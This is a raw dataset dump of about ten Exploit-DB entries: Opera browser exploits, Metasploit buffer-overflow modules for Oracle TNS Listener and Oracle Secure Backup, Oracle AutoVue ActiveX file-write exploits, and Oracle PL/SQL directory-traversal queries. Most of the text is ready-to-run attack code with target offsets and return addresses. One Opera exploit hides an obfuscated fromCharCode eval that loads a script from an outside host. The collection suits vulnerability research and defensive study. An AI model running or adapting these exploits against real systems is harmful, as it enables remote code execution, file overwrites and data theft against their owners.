deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6880
Description: Opera 9.61 - 'opera:historysearch' Code Execution
Type: remote
Platform: windows
Date: 2008-10-30
Author: Aviv Raff

Exploit:
<!--
--Aviv.

http://aviv.raffon.net/2008/10/30/AdifferentOpera.aspx
-->

<html>
<script>
function x() {
  window.open('opera:historysearch?q=%2A"><img src=\'x\' onerror=\'eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))\'>&p=1&s=1');
  window.setTimeout("location.href='mailto:'",4000);
}
</script>
<body scrolling="no">
<a href="#" onclick="x()">Click me...</a>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<img src='x' onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))'>
</body>
</html>

# milw0rm.com [2008-10-30]
Exploit-DB #23465
Description: Opera Browser 6.0 6 - URI Display Obfuscation
Type: remote
Platform: windows
Date: 2003-12-23
Author: nesumin

Exploit:
source: https://www.securityfocus.com/bid/9281/info

A weakness has been reported in Opera that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI that is designed to access a specific location with a supplied username, contains a specially crafted sequence of characters. These characters will be interpreted as a NULL due to UTF-8 encoding. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI to aid in obfuscating the URI for a visited page.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location. 

http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80@www.example.com/
http://www.example.com/fake_path/fake_filename.html

ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe
ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe
Exploit-DB #24262
Description: Opera Web Browser 7.5x - IFrame OnLoad Address Bar URL Obfuscation
Type: remote
Platform: windows
Date: 2004-07-08
Author: bitlance winter

Exploit:
source: https://www.securityfocus.com/bid/10679/info

Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. 

It is currently not known if this issue is related to the Opera Web Browser Address Bar Spoofing Weakness reported in BID 10337. As more information becomes available this BID will be updated.

This issue may be used to spoof information in the address bar, facilitating phishing attacks against unsuspecting users.

This issue is reported to affect Opera Web Browser version 7.52, it is likely that other versions are affected as well.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>Opera 7.52 Address Bar Spoofing Vulnerability</title>
<style type="text/css">
<!-- /* begin */
 h1 { font-size:120%;}
 h2 { font-size:100%;}
/* end */ -->
</style>
<script type="text/javascript">
<!--
function urlfake(){
location.href="http://www.microsoft.com/";
}
function preinline () {
myvar = '<iframe onload="urlfake()" ';
myvar = myvar +  'title="preload inline frame" ';
myvar = myvar + 'src="http://www.opera.com/" ';
myvar = myvar +  'frameborder="0" width="760" height="1800" ';
myvar = myvar +  'marginwidth="0" marginheight="0">';
myvar = myvar +  '<' + '/iframe>';
document.write (myvar);
}
// -->
</script>
</head>
<body onunload="while(1){};">
<h1>Opera Browser 7.52 (Build 3834) Address Bar Spoofing Issue</h1>
<h2>Tested on WindowsXP SP1</h2>
<p>
<script type="text/javascript">
<!--
preinline ();
// -->
</script>
</p>
</body>
</html>
Exploit-DB #23373
Description: Opera Web Browser 7.x - URI Handler Directory Traversal
Type: remote
Platform: windows
Date: 2003-11-12
Author: S.G.Masood

Exploit:
source: https://www.securityfocus.com/bid/9021/info

It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

Opera Web Browser versions 7.22 and prior are reported to be prone to this issue.

---------------START MAIN.HTM----------------


<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.


function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}


</script>

</head>


<body>

<h1>This is the main file</h1>

</body>

</html>



---------------END MAIN.HTM----------------


---------------START SKIN.HTM----------------


<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.

</body>


---------------END SKIN.HTM----------------
Exploit-DB #32555
Description: Opera Web Browser 9.62 - History Search Input Validation
Type: remote
Platform: windows
Date: 2008-10-31
Author: NeoCoderz

Exploit:
source: https://www.securityfocus.com/bid/32015/info

Opera Web Browser is prone to an input-validation vulnerability because of the way it stores data used for the History Search feature.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, obtain sensitive information, alter the browser's configuration settings, or execute local programs in the context of the browser; other attacks are also possible.

Opera Web Browser 9.62 is vulnerable.

<!-- # OPERA 9.62 Remote Code Execution # Vulnerability Found By NeoCoderz # Email : NeoCoderz1[at]msn[dot]com --> <html> <script> function execcalc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:config?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalc()">Click me...(opera:config)</a><br> <script> function execcalca() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:cache?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalca()">Click me...(opera:cache)</a><br> <script> function execcalcb() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:debug?q=q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcb()">Click me...(opera:debug)</a><br> <script> function execcalcc() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:plugins?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcc()">Click me...(opera:plugins)</a><br> <script> function execcalcd() { var abc="c:\\\\windows\\\\system32\\\\calc.exe"; window.open('opera:about?q=%2A"><img src=\'x\' onerror=\'eval(abc)\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="execcalcd()">Click me...(opera:about)</a><br> </html>
Exploit-DB #16340
Description: Oracle 8i - TNS Listener 'ARGUMENTS' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: tns_arguments.rb 11122 2010-11-24 06:10:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::TNS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Oracle 8i. When
				sending a specially crafted packet containing a overly long
				ARGUMENTS string to the TNS service, an attacker may be able
				to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11122 $',
			'References'     =>
				[
					[ 'CVE', '2001-0499' ],
					[ 'OSVDB', '9427'],
					[ 'BID', '2941' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],
					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 28 2001'))

		register_options([Opt::RPORT(1521)], self.class)
	end

	def check
		connect

		version = "(CONNECT_DATA=(COMMAND=VERSION))"

		pkt = tns_packet(version)

		sock.put(pkt)

		sock.get_once

		res = sock.get_once(-1, 1)

		disconnect

			if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
				return Exploit::CheckCode::Vulnerable
			end
				return Exploit::CheckCode::Safe
	end

	def exploit
		connect

			buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
			buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
			buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)

			sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"

			pkt = tns_packet(sploit)

			print_status("Trying target #{target.name}...")
			sock.put(pkt)

			handler

		disconnect
	end

end
Exploit-DB #16341
Description: Oracle 8i - TNS Listener SERVICE_NAME Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: tns_service_name.rb 11128 2010-11-24 19:43:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::TNS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Oracle. When
				sending a specially crafted packet containing a long SERVICE_NAME
				to the TNS service, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11128 $',
			'References'     =>
				[
					[ 'CVE', '2002-0965'],
					[ 'OSVDB', '5041'],
					[ 'BID', '4845'],
					[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'May 27 2002'))

		register_options([Opt::RPORT(1521)], self.class)
	end

	def check
		connect

		version = "(CONNECT_DATA=(COMMAND=VERSION))"
		pkt = tns_packet(version)
		sock.put(pkt)

		sock.get_once
		res = sock.get_once(-1, 1)

		disconnect

		if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
		buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
		buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)

		sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"

		pkt = tns_packet(sploit)

		print_status("Trying target #{target.name}...")
		sock.put(pkt)

		handler

		disconnect
	end

end
Exploit-DB #36250
Description: Oracle AutoVue 20.0.1 - 'AutoVueX.ocx' ActiveX Control 'ExportEdaBom()' Insecure Method
Type: remote
Platform: windows
Date: 2011-10-24
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/50332/info

Oracle AutoVue 'AutoVueX.ocx' ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite arbitrary files on a victim's computer within the context of the affected application (typically Internet Explorer) that uses the ActiveX control.

Oracle AutoVue 20.0.1 is vulnerable; other versions may also be affected. 

<!--
Oracle AutoVue AutoVueX ActiveX Control ExportEdaBom Remote Code Execution 

ProgID: AUTOVUEX.AutoVueXCtrl.1
CLSID: {B6FCC215-D303-11D1-BC6C-0000C078797F}
Binary path: C:\PROGRA~1\av\avwin\AutoVueX.ocx
Safe for initialization (registry): true
Safe for scripting (registry): true

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<html>
<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' width=640 & height=480 />
<param name=SRC value="PADS_Evaluation_board.pcb"></param>
</object>
<script defer="defer">
var sh = "<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
for (i=0; i<6666; i++) { 
    obj.ExportEdaBom("../../../../../../../../../../../Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\sh.hta","aaaa",true,sh);
}
window.location.href = window.location.href;
</script>
Exploit-DB #18016
Description: Oracle AutoVue 20.0.1 AutoVueX - ActiveX Control SaveViewStateToFile
Type: remote
Platform: windows
Date: 2011-10-21
Author: rgod

Exploit:
Oracle AutoVue 20.0.1 AutoVueX ActiveX Control SaveViewStateToFile Remote 
File Creation / Overwrite Vulnerability

tested against: Internet Explorer 8
                Microsoft Windows Server 2003 r2 sp2

download url of a test version: 
http://www.oracle.com/technetwork/apps-tech/autovue/index.html

file:
AutoVueDemo2001.zip

Background:

the mentioned program installs an ActiveX control with the following
settings:

ProgID: AUTOVUEX.AutoVueXCtrl.1
CLSID: {B6FCC215-D303-11D1-BC6C-0000C078797F}
Binary path: C:\PROGRA~1\av\avwin\AutoVueX.ocx
Safe for initialization (registry): true
Safe for scripting (registry): true

This control is marked "safe for scripting" and "safe for initialization",
Internet Explorer will allows scripting of this control.

Vulnerability:

The mentioned class contains the vulnerable SaveViewStateToFile() method, from
the typelib:

...
	/* DISPID=116 */
	/* VT_BOOL [11] */
	function SaveViewStateToFile(
		/* VT_BSTR [8]  */ $sFileName 
		)
	{
	}
...

which allows to create / overwrite files with arbitrary extensions
inside arbitrary locations. 

It was experimented that the content of theese files can be
partially controlled by passing a remote file to the 
RestoreViewStateFromFile() method.

The resulting file will look like this:

   0 : 6b 00 00 00 07 00 41 56 31 37 5f 32 00 0a 00 56 [k.....AV17_2...V]
  10 : 69 65 77 53 74 61 74 65 00 ff ff ff ff 00 00 01 [iewState........]
  20 : 00 00 00 01 00 00 00 6f 8f 96 d8 ca 22 71 c1 86 [.......o...."q..]
  30 : f0 ca b7 56 a0 b0 e0 00 00 00 00 00 00 00 00 41 [...V...........A] <----- controlled section (AAAA)
  40 : 41 41 41 59 fb bb 60 86 f0 ca b7 56 a0 b0 60 00 [AAAY..`....V..`.]
  50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
  60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    [...............]

poc, which overwrites boot.ini:

http://retrogod.altervista.org/9sg_autovueiii.zip
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18016.zip (9sg_autovueiii.zip)
Exploit-DB #25195
Description: Oracle Database 8i/9i - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: windows
Date: 2005-03-07
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/12749/info

Oracle Database server is reported prone to multiple directory traversal vulnerabilities that may allow a remote attacker to read, write, or rename arbitrary files with the privileges of the Oracle Database server.

The issues are reported to exist due to a lack of sufficient input validation performed on filenames and paths passed to file processing functions, and may allow a malicious SQL query to traverse outside of a directory that is described in an Oracle directory object. 

--this create a file called Unbreakable.txt in the
same drive as the directory referenced by
--MEDIA_DIR directory object.
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
UTL_FILE.FCLOSE(f);
end;

--this example can be used to read arbitrary files in
the same drive as the directory referenced by
--MEDIA_DIR directory object.
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\OracleDir\ora90\network\ADMIN\listener.ora','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;

--this rename any file in the same drive as the
directory referenced by
--MEDIA_DIR directory object
begin

UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\FileToRename','MEDIA_DIR','\\.\\..\\.\\..\\.\\Unbreakable.txt',TRUE);
end;
Exploit-DB #16343
Description: Oracle Secure Backup - NDMP_CONNECT_CLIENT_AUTH Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: osb_ndmp_auth.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::NDMP

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
			'Description'    => %q{
					The module exploits a stack buffer overflow in Oracle Secure Backup.
				When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-5444' ],
					[ 'OSVDB', '51340' ],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
				],
			'Platform'       => 'win',
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Targets'        =>
				[
					[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)',  { 'Ret' => 0x608f5a28 } ], # oracore10.dll
				],
			'DisclosureDate' => 'Jan 14 2009',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(10000)], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		ndmp_recv()

		username =  rand_text_alphanumeric(3789 - payload.encoded.length)
		username << payload.encoded + Rex::Arch::X86.jmp_short(6)
		username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
		username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)

		password = rand_text_alphanumeric(rand(25) + 1)

		# Create the authentication request
		auth = [
				0,               # Sequence number
				Time.now.to_i,   # Current time
				0,               # Message type (request)
				0x901,           # Message name (connect_client_auth)
				0,               # Reply sequence number
				0,               # Error status
				1                # Authentication type
			].pack('NNNNNNN') +
			[ username.length ].pack('N') + username +
			[ password.length ].pack('N') + password +
			[ 4 ].pack('N')

		print_status("Sending authentication request...")
		ndmp_send(auth)

		handler
		disconnect
	end

end